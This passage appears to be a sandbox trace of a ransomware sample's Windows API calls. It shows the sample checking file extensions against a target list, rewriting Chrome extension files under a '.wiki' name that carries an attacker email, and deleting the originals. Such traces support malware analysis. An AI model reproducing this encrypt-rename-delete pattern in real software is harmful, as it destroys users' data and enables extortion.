(lpString=".xlsx") returned 5 [0173.529] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.529] lstrlenW (lpString=".ppt") returned 4 [0173.529] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.529] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW\\messages.json") returned 154 [0173.530] lstrlenW (lpString=".zip") returned 4 [0173.530] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.530] lstrlenW (lpString=".rar") returned 4 [0173.530] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.530] lstrlenW (lpString=".bz2") returned 4 [0173.530] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.530] lstrlenW (lpString=".7z") returned 3 [0173.530] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.530] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW\\messages.json") returned 154 [0173.530] lstrlenW (lpString=".dbf") returned 4 [0173.530] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.530] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW\\messages.json") returned 154 [0173.530] lstrlenW (lpString=".1cd") returned 4 [0173.530] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.530] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW\\messages.json") returned 154 [0173.530] lstrlenW (lpString=".jpg") returned 4 [0173.530] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.530] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0173.530] lstrlenW (lpString="computed_hashes.json") returned 20 [0173.530] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\computed_hashes.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\computed_hashes.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0173.531] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=352) returned 1 [0173.531] CloseHandle (hObject=0x1b4) returned 1 [0173.531] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\computed_hashes.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\computed_hashes.json")) returned 0x2020 [0173.531] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\computed_hashes.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\computed_hashes.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.531] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\computed_hashes.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\computed_hashes.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0173.531] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.531] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.531] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\computed_hashes.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\computed_hashes.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0173.793] GetLastError () returned 0x0 [0173.793] ReadFile (in: hFile=0x1b4, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x160, lpOverlapped=0x0) returned 1 [0173.794] WriteFile (in: hFile=0x124, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0x170, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0x170, lpOverlapped=0x0) returned 1 [0173.795] ReadFile (in: hFile=0x1b4, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0173.795] WriteFile (in: hFile=0x124, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xfc, lpOverlapped=0x0) returned 1 [0173.795] SetEndOfFile (hFile=0x124) returned 1 [0173.795] CloseHandle (hObject=0x124) returned 1 [0173.795] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.795] SetEndOfFile (hFile=0x1b4) returned 1 [0173.796] CloseHandle (hObject=0x1b4) returned 1 [0173.796] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\computed_hashes.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0173.796] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\computed_hashes.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\computed_hashes.json")) returned 1 [0173.797] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\computed_hashes.json") returned 156 [0173.797] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\computed_hashes.json") returned 156 [0173.797] lstrlenW (lpString=".doc") returned 4 [0173.797] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.797] lstrlenW (lpString=".docx") returned 5 [0173.797] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.797] lstrlenW (lpString=".pdf") returned 4 [0173.797] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.797] lstrlenW (lpString=".xls") returned 4 [0173.797] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.797] lstrlenW (lpString=".xlsx") returned 5 [0173.797] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.797] lstrlenW (lpString=".ppt") returned 4 [0173.797] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.797] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\computed_hashes.json") returned 156 [0173.797] lstrlenW (lpString=".zip") returned 4 [0173.797] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.797] lstrlenW (lpString=".rar") returned 4 [0173.797] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.797] lstrlenW (lpString=".bz2") returned 4 [0173.797] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.797] lstrlenW (lpString=".7z") returned 3 [0173.797] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.797] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\computed_hashes.json") returned 156 [0173.797] lstrlenW (lpString=".dbf") returned 4 [0173.797] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.797] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\computed_hashes.json") returned 156 [0173.797] lstrlenW (lpString=".1cd") returned 4 [0173.797] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.797] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\computed_hashes.json") returned 156 [0173.797] lstrlenW (lpString=".jpg") returned 4 [0173.797] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.798] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\computed_hashes.json") returned 156 [0173.798] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\computed_hashes.json") returned 156 [0173.798] lstrlenW (lpString=".doc") returned 4 [0173.798] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.798] lstrlenW (lpString=".docx") returned 5 [0173.798] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.798] lstrlenW (lpString=".pdf") returned 4 [0173.798] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.798] lstrlenW (lpString=".xls") returned 4 [0173.798] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.798] lstrlenW (lpString=".xlsx") returned 5 [0173.798] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.798] lstrlenW (lpString=".ppt") returned 4 [0173.798] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.798] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\computed_hashes.json") returned 156 [0173.798] lstrlenW (lpString=".zip") returned 4 [0173.798] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.798] lstrlenW (lpString=".rar") returned 4 [0173.798] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.798] lstrlenW (lpString=".bz2") returned 4 [0173.798] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.798] lstrlenW (lpString=".7z") returned 3 [0173.798] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.798] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\computed_hashes.json") returned 156 [0173.798] lstrlenW (lpString=".dbf") returned 4 [0173.798] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.798] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\computed_hashes.json") returned 156 [0173.798] lstrlenW (lpString=".1cd") returned 4 [0173.798] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.798] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\computed_hashes.json") returned 156 [0173.799] lstrlenW (lpString=".jpg") returned 4 [0173.799] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.799] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0173.799] lstrlenW (lpString="messages.json") returned 13 [0173.799] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0173.801] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=261) returned 1 [0173.801] CloseHandle (hObject=0x1b4) returned 1 [0173.801] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\messages.json")) returned 0x2020 [0173.801] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.801] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0173.802] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.802] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.802] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0173.802] GetLastError () returned 0x0 [0173.802] ReadFile (in: hFile=0x1b4, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x105, lpOverlapped=0x0) returned 1 [0173.803] WriteFile (in: hFile=0x124, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0x110, lpOverlapped=0x0) returned 1 [0173.804] ReadFile (in: hFile=0x1b4, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0173.804] WriteFile (in: hFile=0x124, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0173.804] SetEndOfFile (hFile=0x124) returned 1 [0173.804] CloseHandle (hObject=0x124) returned 1 [0173.804] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.804] SetEndOfFile (hFile=0x1b4) returned 1 [0173.805] CloseHandle (hObject=0x1b4) returned 1 [0173.805] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0173.805] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\messages.json")) returned 1 [0173.806] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\messages.json") returned 152 [0173.806] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\messages.json") returned 152 [0173.806] lstrlenW (lpString=".doc") returned 4 [0173.806] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.806] lstrlenW (lpString=".docx") returned 5 [0173.806] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.806] lstrlenW (lpString=".pdf") returned 4 [0173.806] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.806] lstrlenW (lpString=".xls") returned 4 [0173.806] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.806] lstrlenW (lpString=".xlsx") returned 5 [0173.806] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.806] lstrlenW (lpString=".ppt") returned 4 [0173.806] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.806] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\messages.json") returned 152 [0173.806] lstrlenW (lpString=".zip") returned 4 [0173.806] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.806] lstrlenW (lpString=".rar") returned 4 [0173.806] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.806] lstrlenW (lpString=".bz2") returned 4 [0173.806] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.806] lstrlenW (lpString=".7z") returned 3 [0173.806] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.806] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\messages.json") returned 152 [0173.806] lstrlenW (lpString=".dbf") returned 4 [0173.806] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.806] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\messages.json") returned 152 [0173.806] lstrlenW (lpString=".1cd") returned 4 [0173.807] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.807] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\messages.json") returned 152 [0173.807] lstrlenW (lpString=".jpg") returned 4 [0173.807] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.807] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\messages.json") returned 152 [0173.807] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\messages.json") returned 152 [0173.807] lstrlenW (lpString=".doc") returned 4 [0173.807] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.807] lstrlenW (lpString=".docx") returned 5 [0173.807] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.807] lstrlenW (lpString=".pdf") returned 4 [0173.807] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.807] lstrlenW (lpString=".xls") returned 4 [0173.807] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.807] lstrlenW (lpString=".xlsx") returned 5 [0173.807] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.807] lstrlenW (lpString=".ppt") returned 4 [0173.807] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.807] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\messages.json") returned 152 [0173.807] lstrlenW (lpString=".zip") returned 4 [0173.807] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.807] lstrlenW (lpString=".rar") returned 4 [0173.807] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.807] lstrlenW (lpString=".bz2") returned 4 [0173.807] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.807] lstrlenW (lpString=".7z") returned 3 [0173.807] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.807] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\messages.json") returned 152 [0173.807] lstrlenW (lpString=".dbf") returned 4 [0173.807] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.808] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\messages.json") returned 152 [0173.808] lstrlenW (lpString=".1cd") returned 4 [0173.808] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.808] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\messages.json") returned 152 [0173.808] lstrlenW (lpString=".jpg") returned 4 [0173.808] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.808] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0173.808] lstrlenW (lpString="messages.json") returned 13 [0173.808] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0173.808] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=258) returned 1 [0173.808] CloseHandle (hObject=0x1b4) returned 1 [0173.808] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\messages.json")) returned 0x2020 [0173.810] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.810] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, 